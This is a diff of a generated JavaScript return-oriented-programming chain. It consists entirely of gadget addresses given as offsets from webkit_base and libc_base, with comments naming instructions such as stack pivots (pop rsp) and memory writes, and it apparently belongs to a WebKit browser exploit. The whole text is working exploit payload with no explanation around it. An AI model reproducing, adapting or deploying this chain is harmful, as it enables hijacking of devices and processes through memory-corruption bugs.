//pop rsi -ropchain+384152, //L7606 +ropchain+380864, //L7381 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L7606: +//L7381: db([0, 0]); // 0x0 set_gadgets([ -ropchain+384176, //L7606+24 -ropchain+384192, //L7601 +ropchain+380888, //L7381+24 +ropchain+380904, //L7376 libc_base+811575, //pop rsp -ropchain+384208, //L7607 -//L7601: +ropchain+380920, //L7382 +//L7376: libc_base+811575, //pop rsp -ropchain+388576, //L7608 -//L7607: +ropchain+385288, //L7383 +//L7382: libc_base+793877, //pop rsi -ropchain+384264, //L7611 +ropchain+380960, //L7384 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7609: -db([4294965072, 4294967295]); // -0x8b0 -set_gadget(libc_base+792472,); //pop rcx -//L7611: +//L7384: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7385: +db([4294965072, 4294967295]); // -0x8b0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+384368, //L7614 +ropchain+381080, //L7389 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+384352, //L7613 +ropchain+381064, //L7387 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7613: +//L7387: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7614: +//L7389: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+384512, //L7617 +ropchain+381224, //L7392 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+384480, //L7615 +ropchain+381192, //L7390 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+384496, //L7616 +ropchain+381208, //L7391 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7615: +//L7390: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7616: +//L7391: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7617: +//L7392: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+384584, //L7618 +ropchain+381296, //L7393 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7618: +//L7393: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+384640, //L7621 +ropchain+381352, //L7395 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7621: +//L7395: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54278,54 +53524,54 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+384736, //L7624 +ropchain+381432, //L7397 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7622: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7624: +//L7397: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7398: +db([4294965048, 4294967295]); // -0x8c8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+384840, //L7627 +ropchain+381552, //L7402 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+384824, //L7626 +ropchain+381536, //L7400 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7626: +//L7400: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7627: +//L7402: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+384944, //L7628 +ropchain+381656, //L7403 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+384976, //L7630 +ropchain+381688, //L7405 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+384960, //L7629 +ropchain+381672, //L7404 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7628: +//L7403: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7629: +//L7404: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7630: +//L7405: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -54336,309 +53582,309 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+385064, //L7631 +ropchain+381776, //L7406 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7631: +//L7406: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+385120, //L7634 +ropchain+381832, //L7408 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7634: +//L7408: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+385256, //L7636 +ropchain+381968, //L7411 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+385272, //L7637 +ropchain+381984, //L7412 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+385240, //L7635 +ropchain+381952, //L7410 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7635: +//L7410: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7636: +//L7411: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7637: +//L7412: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+385432, //L7641 +ropchain+382144, //L7416 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+385384, //L7638 +ropchain+382096, //L7414 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+385416, //L7640 +ropchain+382128, //L7415 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7638: +//L7414: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7639: +//L7413: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7640: +//L7415: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7641: +//L7416: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+385488, //L7643 +ropchain+382200, //L7418 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7643: +//L7418: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+385592, //L7644 +ropchain+382304, //L7420 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+385624, //L7646 +ropchain+382336, //L7421 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+385608, //L7645 +ropchain+382320, //L7419 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7644: +//L7420: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7645: +//L7419: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7646: +//L7421: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+385784, //L7650 +ropchain+382496, //L7425 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+385736, //L7647 +ropchain+382448, //L7423 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+385768, //L7649 +ropchain+382480, //L7424 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7647: +//L7423: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7648: +//L7422: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7649: +//L7424: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7650: +//L7425: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+385840, //L7652 +ropchain+382552, //L7427 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7652: +//L7427: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+385944, //L7653 +ropchain+382656, //L7429 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+385976, //L7655 +ropchain+382688, //L7430 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+385960, //L7654 +ropchain+382672, //L7428 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7653: +//L7429: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7654: +//L7428: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7655: +//L7430: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+386136, //L7659 +ropchain+382848, //L7434 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+386088, //L7656 +ropchain+382800, //L7432 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+386120, //L7658 +ropchain+382832, //L7433 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7656: +//L7432: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7657: +//L7431: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7658: +//L7433: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7659: +//L7434: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+386192, //L7661 +ropchain+382904, //L7436 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7661: +//L7436: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+386296, //L7662 +ropchain+383008, //L7438 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+386328, //L7664 +ropchain+383040, //L7439 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+386312, //L7663 +ropchain+383024, //L7437 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7662: +//L7438: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7663: +//L7437: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7664: +//L7439: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+386400, //L7665 +ropchain+383112, //L7440 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+386416, //L7666 +ropchain+383128, //L7441 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7665: +//L7440: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7666: +//L7441: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+386576, //L7670 +ropchain+383288, //L7445 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+386528, //L7667 +ropchain+383240, //L7443 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+386560, //L7669 +ropchain+383272, //L7444 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7667: +//L7443: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7668: +//L7442: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7669: +//L7444: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7670: +//L7445: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+386632, //L7672 +ropchain+383344, //L7447 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7672: +//L7447: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+386736, //L7673 +ropchain+383448, //L7449 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+386768, //L7675 +ropchain+383480, //L7450 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+386752, //L7674 +ropchain+383464, //L7448 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7673: +//L7449: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7674: +//L7448: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7675: +//L7450: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+386864, //L7677 +ropchain+383576, //L7452 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+386848, //L7676 +ropchain+383560, //L7451 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7676: +//L7451: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7677: +//L7452: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54646,77 +53892,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+386960, //L7680 +ropchain+383656, //L7453 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7678: -db([4294965056, 4294967295]); // -0x8c0 -set_gadget(libc_base+792472,); //pop rcx -//L7680: +//L7453: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7454: +db([4294965056, 4294967295]); // -0x8c0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+387064, //L7683 +ropchain+383776, //L7458 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+387048, //L7682 +ropchain+383760, //L7456 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7682: +//L7456: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7683: +//L7458: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+387208, //L7686 +ropchain+383920, //L7461 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+387176, //L7684 +ropchain+383888, //L7459 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+387192, //L7685 +ropchain+383904, //L7460 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7684: +//L7459: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7685: +//L7460: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7686: +//L7461: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+387280, //L7687 +ropchain+383992, //L7462 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7687: +//L7462: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+387336, //L7690 +ropchain+384048, //L7464 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7690: +//L7464: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54724,54 +53970,54 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+387432, //L7693 +ropchain+384128, //L7466 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7691: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7693: +//L7466: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7467: +db([4294965048, 4294967295]); // -0x8c8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+387536, //L7696 +ropchain+384248, //L7471 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+387520, //L7695 +ropchain+384232, //L7469 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7695: +//L7469: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7696: +//L7471: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+387640, //L7697 +ropchain+384352, //L7472 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+387672, //L7699 +ropchain+384384, //L7474 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+387656, //L7698 +ropchain+384368, //L7473 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7697: +//L7472: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7698: +//L7473: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7699: +//L7474: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -54782,44 +54028,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+387760, //L7700 +ropchain+384472, //L7475 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7700: +//L7475: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+387816, //L7703 +ropchain+384528, //L7477 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7703: +//L7477: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+387888, //L7704 +ropchain+384600, //L7479 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7704: +//L7479: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+387944, //L7707 +ropchain+384656, //L7481 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7707: +//L7481: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl @@ -54829,57 +54075,57 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L7708: +//L7483: libc_base+793877, //pop rsi -ropchain+388048, //L7711 +ropchain+384744, //L7484 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7709: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7711: +//L7484: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7485: +db([4294965048, 4294967295]); // -0x8c8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+388152, //L7714 +ropchain+384864, //L7489 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+388136, //L7713 +ropchain+384848, //L7487 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7713: +//L7487: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7714: +//L7489: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+388296, //L7717 +ropchain+385008, //L7492 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+388264, //L7715 +ropchain+384976, //L7490 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+388280, //L7716 +ropchain+384992, //L7491 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7715: +//L7490: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7716: +//L7491: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7717: +//L7492: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54887,38 +54133,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+388384, //L7719 +ropchain+385096, //L7494 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7718: +//L7493: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L7719: +//L7494: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+388456, //L7722 +ropchain+385152, //L7495 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7720: -db([4294965048, 4294967295]); // -0x8c8 -set_gadget(libc_base+792472,); //pop rcx -//L7722: +//L7495: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7496: +db([4294965048, 4294967295]); // -0x8c8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+388520, //L7723 +ropchain+385232, //L7498 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7723: +//L7498: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -54928,11 +54174,11 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+382608, //L7566 -//L7608: +ropchain+379320, //L7341 +//L7383: libc_base+788575 //pop rax ]); -//L7725: +//L7500: db([6, 0]); // 0x6 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -54940,8 +54186,323 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7727: -ropchain+388688, //L7726 +//L7502: +ropchain+385400, //L7501 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+282000, //_pin_to_cpu +//L7501: +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+385472, //L7503 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L7503: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7504: +db([4294967264, 4294967295]); // -0x20 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+385592, //L7508 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+385576, //L7506 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L7506: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7508: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+385736, //L7511 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+385704, //L7509 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+385720, //L7510 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L7509: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7510: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7511: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+385832, //L7513 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877 //pop rsi +]); +//L7512: +db([4294965208, 4294967295]); // -0x828 +set_gadget(libc_base+788575,); //pop rax +//L7513: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+385920, //L7514 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L7514: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7515: +db([4294965056, 4294967295]); // -0x8c0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+386040, //L7519 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+386024, //L7517 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L7517: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7519: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+386184, //L7522 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+386152, //L7520 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+386168, //L7521 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L7520: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7521: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7522: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L7524: +ropchain+386288, //L7523 